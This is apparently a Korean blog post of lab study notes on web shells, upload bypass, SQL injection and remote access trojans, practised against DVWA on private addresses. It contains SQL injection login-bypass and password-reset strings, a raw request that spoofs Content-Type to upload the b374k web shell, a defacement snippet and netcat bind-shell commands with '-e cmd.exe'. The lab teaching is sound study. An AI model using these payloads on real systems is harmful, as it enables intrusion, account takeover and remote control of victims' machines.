Web shell, 업로드 취약점, RAT

Jh Park·2022년 9월 6일

RK - 애보

목록 보기
2/5

1. Web shell

1) Web shell이란

  • 관리자가 SSH,FTP를 이용하지 않고 웹브라우저로 웹서버를관리하기 위한 도구
  • 웹쉘의 Content-Type은 text/plain 이지만, Proxy 도구(Burp Suite)를 이용해서 image/jpeg라고 속일 수 있음

2) 대응 방법

  • 웹쉘이 업로드 하지 못하게해야함
  • 동작을 하짐 못하도록 해야함으로 암축해서 보관 또는 읽기만 가능한 스토리지 보관
  • 업로드 웹쉘의 위치를 찾을 수 없도록 위치 경로를 알려주지 않거나 파일 이름을 바꾸는 방법
  • 웹쉘 대응 보안 솔루션을 배치해야한다.

3) 실습

1-1 DEFACE

  • DEFACE란 '외관을 훼손하다'라는 뜻으로 특히 무엇의 표면에 글을 쓰거나 그림을 그리거나 하여 웹사이트를 훼손시키는 것을 의미한다.

1-2 실습 방법

  • Webshell을 해킹이 되어있어야 하며 루트디렉토리 index.jsp에서 body태그에 아래의 코드를 작성하면 된다.
    	<DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="00.jpg"></DIV> 


2-1 SQL인젝션

  • SQL인젝션은 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식이다. SQL 삽입, SQL 주입으로도 불린다

2-2 실습 방법

  • 로그인을 하기위해 사용하는 예상 sql 구문 (매우 기초!)
    select id,pw form ??? where id = ' ' and pw= ' ';
    • '' or 1=1 --
    • webmaster' and 1=1;--
    • webmaster' or 1=1 --

  • webmaster 비밀번호 변경

    예상했던 구문 :
    select id,pw form ??? where id = '' having 1=1 -- ' and pw= ' ';

    실제 구문 :
    select userid, passwd from tbl_member where userid =' ' and passwd= ' '

    응용구문 :
    UPDATE tbl_member SET passwd= '1234' WHERE userid ='webmaster'

실제 구문+ 응용구문
==> '; UPDATE tbl_member SET passwd= '1234' WHERE userid ='webmaster';--

3-1 WebShell

  • 웹쉘은 말 그대로 웹사이트를 통해 쉘(shell)을 여는 공격이다.
    쉘(shell) : 사용자에게 받은 지시를 해석하여 하드웨어 지시어로 바꿈으로써 운영체제의 커널과 사용자 사이를 이어주는 것

3-2 WebShell 실습 방법

Security Level: low
  • 준비한 Webshell 파일을 업로드 파일이 저장된 장소는 //hackable/uploads/b374k-2.8.php이다. //192.168.5.128/dvwa/vulnerabilities/upload/#이므로
    192.168.5.128/dvwa/hackable/uploads/b374k-2.8.php로 주소창으로 파일을 열어 실행해주면 아래화면과 같이 된다.
Security Level: medium
  • medium에서는 일반적인 파일 업로드로는 파일이 올라가지 않는다. 그렇기에 프록시를 이용하여 Content-Type을 image/jpeg변경한다.

    POST /dvwa/vulnerabilities/upload/ HTTP/1.1
    Accept: text/html, application/xhtml+xml, image/jxr, /
    Referer: http://192.168.5.128/dvwa/vulnerabilities/upload/
    Accept-Language: ko
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
    Content-Type: multipart/form-data; boundary=---------------------------7e63c9152c096a
    Accept-Encoding: gzip, deflate
    Content-Length: 72384
    Host: 192.168.5.128
    Pragma: no-cache
    Cookie: security=medium; PHPSESSID=kb04ks1v5rovq1qgu8cdark0n4
    Connection: close

    -----------------------------7e63c9152c096a
    Content-Disposition: form-data; name="MAX_FILE_SIZE"

    100000
    -----------------------------7e63c9152c096a
    Content-Disposition: form-data; name="uploaded"; filename="00.jpg"
    Content-Type: image/jpeg <<= 이 부분!

RAT(Remote Access Trojan)

1) RAT(Remote Access Trojan)이란

  • Victim에 몰래 업로드 하고 원격으로 연결하는 방법
    Victim : 희생자, 피해자.

    1-1 백도어 방식

    미리 Victim의 관리자PW등을 알아낸 후에 Victim host에 백도어를 실행하고, Attacker는 Victim host의 Backdoor에 접근해서 연결하는 방식이다.

  • windows2003 :server(Victim)
    cmd> wine -l -p 8000 -e cmd.ex //nc 파일이름이 wine

  • Ubuntu : Client(Attacker)
    sever:8000포트(cmd> nc -l -p 8000 -e cmd.exe
    $ nc 192.168.5.141 8000

  • Attacker Ubuntu에서 권한 확인 및 유저 블랙핑크 생성 및 Victim windows2003에서 확인

  • Attacker Ubuntu에서 로컬 그룹 생성 및 확인

- 문제점
  • 중간에 방화벽이 존재하기에 80포트 또는 443과 같은 미리 열어둔 포트가 아니면 접속 불가능하다. 그렇기에 현재는 잘 쓰이지 않는다.

1-2 Reverse 방식

방화벽의 특성상, 내부망에서 외부망(인터넷)으로 나가는 트래픽을 막지 않기에 백도어 방식 대신에 사용하게 된다. 만약 막으면 인터넷이 안되게 된다.

RAT을 이용해서 내부망에서 외부망으로 연결하는 방식을 사용함

  • Attacker Ubuntu에서 5678포트를 열어둔다.
  • Victim windows2003에서 접속
  • 접속확인
  • 권한 확인

※ 알면 좋은 것

  • 정정당당한 해킹은 없다. 해킹에는 반칙이 없다.
  • threat map: 실시간 deface 공격현황을 볼 수 있다.
  • Base64로 비밀번호를 인코딩하는 경우 ISMP-P에서는 결함으로 판단한다.

0개의 댓글